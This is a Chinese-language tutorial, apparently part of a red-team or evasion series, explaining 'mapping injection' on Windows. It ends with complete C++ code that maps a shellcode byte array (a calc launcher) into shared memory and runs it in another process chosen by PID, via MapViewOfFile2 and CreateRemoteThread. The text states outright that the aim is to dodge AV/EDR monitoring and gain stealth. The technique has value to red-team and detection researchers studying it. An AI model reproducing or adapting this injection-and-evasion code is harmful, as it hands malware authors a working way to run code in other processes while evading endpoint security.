8-映射注入(Mapping Injection)

一、前言

映射注入是一种内存注入技术,可以避免使用一些经典注入技术使用的API,如VirtualAllocEx,VirtualProtect、WriteProcessMemory等被AV/EDR严密监控的API,同时创建文件映射对象的本质上是申请一块物理内存区域,而申请的物理内存又能比较方便的通过系统函数直接映射到进程的虚拟内存里,这也就避免使用经典写入函数,增加了隐蔽性。

1.1 文件映射

工作流程:文件 -> 文件映射对象 -> 文件视图 -> 进程虚拟内存

PE的相关数据结构 里我说过

  1. 它是一种 直接将进程的用户私有地址空间(虚拟地址空间)中的一部分区域与文件对象建立起映射关系 的技术

  2. 实现这样的映射关系后,进程就可以采用指针的方式读写操作这一段内存

既然文件的内容可以映射到进程的虚拟地址空间中,那我想对映射内容进行何种操作都可以。在下面的代码实现中,我们不需要将一个文件的内容映射到内存中,我们只需要创建一个 内存映射区域,就可以将shellcode复制到这片区域中,在于文件对象建立映射关系即可。

当然,你也可以将shellcode以文件的形式存放,然后再将shellcode文件映射内存中。

我觉得微软官方解释的挺好的,详见:文件映射 - Win32 apps | Microsoft Learn

1.2 文件映射和普遍申请内存

上面我提到,文件映射 可以申请一片内存区域,这不就刚好满足我们shellcode执行的三部曲的 为shellcode分配内存 这一步吗。文件映射 对比普遍申请内存有什么好处呢。

  1. 进程间共享内存:因为申请的内存是物理内存,可以在多个进程中共享同一段shellcode,这样会减少内存的使用,不需要去反复加载和修改内存权限

  2. 文件映射可以直接将文件映射到内存,避免显式拷贝

  3. 只有真正访问时才加载对应内存页

  4. AV/EDR监控比较少:在免杀技术中,使用文件映射(File Mapping)的Windows API相较于传统内存申请API,通常能够更好地绕过杀毒软件和终端检测与响应(EDR)系统的监控。

1.3 CreateFileMapping和MapViewOfFile

CreateFileMappingMapViewOfFile 是实现文件映射到内存的两个关键API。

CreateFileMapping:为指定文件创建或打开命名或未命名的文件映射对象。在创建文件映射对象时指定文件对象(HANDLE类型),物理内存的大小,物理内存的读/写/执行权限。

MapViewOfFile:将文件映射的视图映射到调用进程的地址空间,函数返回指向文件视图的指针。

文件视图:文件视图是文件映射对象在进程地址空间中的映射窗口,是文件内容在内存中的"投影",允许像访问内存一样访问文件。你可以理解为文件映射对象与进程的某一个内存区域形成了映射关系,即 内存映射区域

二、流程

  1. 使用 CreateFileMapping 创建文件映射对象。官方文档:CreateFileMappingW 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  2. 使用 MapViewOfFile 映射视图到本地进程。官方文档:MapViewOfFile 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  3. 使用 memcpy 复制shellcode 到映射内存。官方文档:cplusplus.com/reference/cstring/memcpy/?kw=memcpy

  4. 使用 OpenProcess 打开目标进程。官方文档:OpenProcess 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

  5. 使用 MapViewOfFile2 将文件映射映射到目标进程。官方文档:MapViewOfFile2 函数 (memoryapi.h) - Win32 apps | Microsoft Learn

  6. 使用 CreateRemoteThread 在目标进程创建远程线程。官方文档:CreateRemoteThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn

三、代码实现

#include <windows.h>
#include <stdio.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")

int main(int argc, char** argv)
{
	// calc shellcode
	unsigned char shellcode[] = {
	0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 用户输入PID,正常来说应该使用argv来获取PID参数,这里只是方便我们调式而已。
	DWORD PID = 0;
	std::cout << "请输入目标进程的PID:";
	std::cin >> PID;

	// 创建文件映射对象
	HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

	// 映射视图到本地进程
	LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

	// 复制 shellcode 到映射内存
	memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));

	// 打开目标进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

	// 将文件映射映射到目标进程
	LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

	// 在目标进程创建远程线程
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);

	// 清理资源
	UnmapViewOfFile(lpMapAddress);
	CloseHandle(hMapping);
	return 0;
}

Last updated